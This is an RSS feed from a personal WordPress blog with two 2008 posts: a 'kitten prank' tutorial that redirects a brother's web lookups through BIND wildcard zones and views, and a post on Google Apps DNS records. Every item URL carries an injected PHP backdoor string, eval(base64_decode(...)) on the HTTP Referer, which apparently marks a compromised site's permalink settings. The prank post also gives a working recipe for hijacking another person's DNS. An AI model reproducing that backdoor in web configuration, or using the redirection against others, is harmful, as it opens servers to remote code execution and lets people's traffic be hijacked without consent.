<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jesse &#187; bind</title>
	<atom:link href="http://www.jessecole.org/tag/bind/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jessecole.org</link>
	<description>A pointless blog lacking in substance.</description>
	<lastBuildDate>Thu, 15 Jan 2009 17:43:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>A kitten prank.</title>
		<link>http://www.jessecole.org/2008/05/05/a-kitten-prank/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/05/05/a-kitten-prank/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 06 May 2008 03:58:06 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[bind]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[prank]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=57</guid>
		<description><![CDATA[Earlier today, i was sitting down, watching tv with my brother. We were both on laptops doing other things at the same time. He started watching an episode of loaded featuring 50 cent. I do not like 50 cent. After several minutes of the god-awful, talentless, garbage, i got sick of it. Did I go [...]]]></description>
			<content:encoded><![CDATA[<p>Earlier today, i was sitting down, watching tv with my brother.  We were both on laptops doing other things at the same time.  He started watching an episode of loaded featuring 50 cent.  I do not like 50 cent.  After several minutes of the god-awful, talentless, garbage, i got sick of it.  Did I go the pansy route and ask him to change it?  No!  I took the high road and made a few changed to my dns server causing all sites he tried to go to, to instead, go to <a title="Kittens!  Which one is cuter!?!  Its kittenwar.com!" href="http://kittenwar.com">kittenwar.com</a>. I&#8217;ll show you how i did it.</p>
<p><span id="more-57"></span></p>
<p>Now, first things first; you need to run your own dns server.  Secondly, the target must be using your dns server for lookups.</p>
<p>The first thing we need is the ip address to <a title="Kittens!  Yay!  Fuzzy! Wuzzy! Kittens!" href="http://kittenwar.com">kittenwar.com</a>.  Thats easy.  Its 64.111.96.38.  I shouldn&#8217;t have even mentioned this part.</p>
<p>Secondly, we need to construct a zone declaration that will claim to be the master for anything.  I used the following:</p>
<pre>zone "." {
	type master;
	file "kittenwar/all.hosts";
	};</pre>
<p>It worked great.  See, in dns, all domains end with an usually implied &#8220;.&#8221;.  (Its the one between the quotes)  This dot represents the root nameservers and how they&#8217;re the start of the domain name system.  I claim here to be the master authoritative namerserver for any domain ending in &#8220;.&#8221;.  That is to say, all domains.</p>
<p>Next, is the actual redirection&#8230;trickery&#8230;dns spoofing&#8230;whatever.  We now need to match all domains to have an A record of 64.111.96.38.  Luckily, this is easy.  I used the following:</p>
<pre>$TTL	86400
@			IN	SOA	localhost. root.localhost. (
					      2		; Serial
					 604800		; Refresh
					  86400		; Retry
					2419200		; Expire
					  86400 )	; Negative Cache TTL
;
@			IN	NS	localhost.
@			IN	A	64.111.96.38
*			IN	A	64.111.96.38</pre>
<p>Which also worked great.  Most of that isn&#8217;t strictly necessary for a zone like this but, i already had that one mostly made.  As you can see, we define &#8220;.&#8221; to have an A record for kittenwar as well as anything else &#8220;*&#8221;.  Well thats great, your done, your target is now going to <a title="Ok, seriously.  Stop reading the title text.  I'm BORED.  I can't think of anymore annoyingly cutesy phrases to put here." href="http://kittenwar.com">kittenwar.com</a> and there&#8217;s nothing he can do, right?  WRONG!!  You still need to select that victim to be the one that feels your wrath.</p>
<p>This next step involves views.  If your not using views, well, you should.  The tricky thing about them is every zone *must* be in a view if even one is.  So, remember that.  Bind cries bloody tears of pain everytime you don&#8217;t.  Sorry just wanted to make that point as graphic as possible.  You can add them manually if you want.  The way i did it, was with acl&#8217;s.  I used the following:</p>
<pre>acl kittened { 192.168.0.102; 192.168.0.110; };</pre>
<p>This matches both my brother (192.168.0.102) and myself (192.168.0.110).  I added myself so i could test that its working. I recommend doing this temporarily.  Now, add the acl to any views that the hosts may already be matched by.</p>
<pre>view "internal" {
    match-clients { !kittened; localnets; };
    recursion yes;
    include "/etc/bind/internal/internal.conf";
};</pre>
<p>There i&#8217;ve removed the acl &#8220;kittened&#8221; and all its hosts from normal service because i&#8217;m going to add them to a completely separate view.  Now, lets create that view.  The syntax is fairly simple, really just copy and paste from above where necessary.</p>
<pre>view "kittenwar" {
    match-clients { kittened; };
    recursion no;
    include "/etc/bind/kittenwar/kittenwar.conf";
};</pre>
<p>And thats it.  I turned off recursion for this view because its already authoritative for everything.  You don&#8217;t need to.  Give bind a good restart (it tends to like restarts better for changes like this) and try it out.  Now any domain/website that the target attempts to visit will simply bring up the page <a title="*Yaawwn* Kittenwar" href="http://kittenwar.com">kittenwar.com</a>.</p>
<p>*Note.  Operatings systems <strong>and</strong> browsers both tend to cache dns lookups.  It may take some time for these to expire and the effects to be seen.  For best results, have ssh access to the machine and clear the cache yourself/reboot the machine.  Also, you can do this for any site for which visiting the ip address takes you to the site.  Thats not always true, especially with shared hosting.  If you have any questions at all, leave a comment.</p>
<p>*Note 2.  When the target goes insane and begins chasing you around the house with a bloody chainsaw (why do the chainsaws always already have blood on them?).  And it <strong>will</strong> happen.  Its very easy to reverse this.  Just remove the ip address from the acl declaration and restart bind.  Then restart the machine/clear caches.  Intense &#8220;The Shining&#8221; style killing urges should subside after a while.  If it doesn&#8217;t, use your telepathic powers to summon the black guy to his death.  Somehow thats relevant and everything ends with you living despite being a retarded 9 year old vs a madman with an axe.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/05/05/a-kitten-prank/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Google apps, jabber.</title>
		<link>http://www.jessecole.org/2008/04/02/google-apps-jabber/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/04/02/google-apps-jabber/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 03 Apr 2008 01:50:37 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[Site Stuff]]></category>
		<category><![CDATA[bind]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://1584360211</guid>
		<description><![CDATA[As very few of you know, (maybe i should actually put something in the about me section) i started this little website as a project to learn linux better and to learn to manage a webserver. Since then, this little project has turned into something i actually care about and take a measure of pride [...]]]></description>
			<content:encoded><![CDATA[<p>As very few of you know, (maybe i should actually put something in the <a title="About Me" href="http://www.jessecole.org/about">about me</a> section) i started this little website as a project to learn linux better and to learn to manage a webserver.  Since then, this little project has turned into something i actually care about and take a measure of pride in.  This is due in no small part to the miracle that is <a title="Google Apps" href="http://www.google.com/a/help/intl/en/admins/editions.html">google apps for your domain</a>.</p>
<p>I like managing a webserver.  I like manually managing <a title="ISC's Bind 9" href="http://en.wikipedia.org/bind">bind</a> and <a title="Apache" href="http://www.apache.org/">apache</a> from the command line.  I like the sense of control i feel when i am able to make any changes i want any time i want.  What i don&#8217;t like though, is email.  Email is evil.  Go ahead, take a look at the configuration files for <a title="Evil sendmail" href="http://www.sendmail.org/">sendmail</a> sometime.  Try <a title="Less Evil Postfix" href="http://www.postfix.org/">postfix</a>, not much better.  I don&#8217;t want to do email but i want to get email.  So what did i do? I went with google apps for your domain.</p>
<p><span id="more-54"></span></p>
<p>Google apps for your domain is a godsend.  I make a few small changed to my dns, which i can easily do; specifying google as my mail exchanger (mx) and i&#8217;m done.  Below i&#8217;ve included the records required for email.</p>
<pre>@           IN    MX 1     aspmx.l.google.com.
@           IN    MX 5     alt1.aspmx.l.google.com.
@           IN    MX 5     alt2.aspmx.l.google.com.
@           IN    MX 10    ASPMX2.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX3.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX4.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX5.GOOGLEMAIL.COM.</pre>
<p>Google handles all my email for me.  I can use their nice, friendly-ish web interface to add up to 100 users for email.  I can add mailing lists so that an email sent to, for example, lists@jessecole.org would go to whoever i added to that list.  I can tie in my other domains with it so that jesse@jessecole.info works just as well as jesse@jessecole.org and it gets delivered to the same mailbox.  On top of all of this, i get google&#8217;s <strong>fantastic!</strong> email filtering.  I never get a single spam message through and very rarely do i see a false positive.  Google even provides pop, smtp, and imap access to my email.</p>
<p>Another feature that isn&#8217;t talked about so much is google talk.  Thats right, every user i make can log in to google talk with user@domain.com.  The can also use any jabber client to log in.  Also, i recently implemented <a title="XMPP at wikipedia" href="http://en.wikipedia.org/wiki/Extensible_Messaging_and_Presence_Protocol">XMPP</a> server dialback as per section <a title="Section 14.4 of RFC 3920" href="http://www.xmpp.org/specs/rfc3920.html#security-server">14.4</a> of <a title="RFC 3920" href="http://www.ietf.org/rfc/rfc3920.txt">RFC 3920</a> allowing virtually all jabber clients to talk to anyone logged in.  Ok, fine.  All that is accurate but i just followed google&#8217;s instructions <a title="Google's fancy smancy instruction for properly implementing section 14.4 of RFC 3920.  Pfff.. I like my way better." href="http://www.google.com/support/a/bin/answer.py?hl=en&amp;answer=34143">here</a>.  Incidently, its perfectly legal in dns-ese to paste the following into your zone file or include it globally.</p>
<pre>_xmpp-server._tcp   IN SRV  5 0 5269 xmpp-server.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server1.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server2.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server3.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server4.l.google.com.

_jabber._tcp        IN SRV  5 0 5269 xmpp-server.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server1.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server2.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server3.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server4.l.google.com.</pre>
<p>Fully qualified domain names are for quitters.</p>
<p>With google apps for your domain you get all this and all of the google apps.  Thats right.  Your &lt;employee&gt;@jessecole.org account also gets its own google docs, google calendar, google everything!.  Its no wonder some businesses are using for their site.  The best part about all of this is that its free!  You can pay extra and get more users, features, support, etc.  Not necessary.  This is a great thing for little websites like me.</p>
<p>I hope you enjoyed my little post (post? this is an article!) on google apps.  Please, leave me a comment if you liked it/disagree/hate me/whatever.</p>
<p><strong>*Update*</strong> I am officially declaring the whitespace stripping in pre text a wordpress bug.  I think i&#8217;ll actually file one later today.  It won&#8217;t do it if you step just right through the posting process though so it should look good now.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/04/02/google-apps-jabber/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
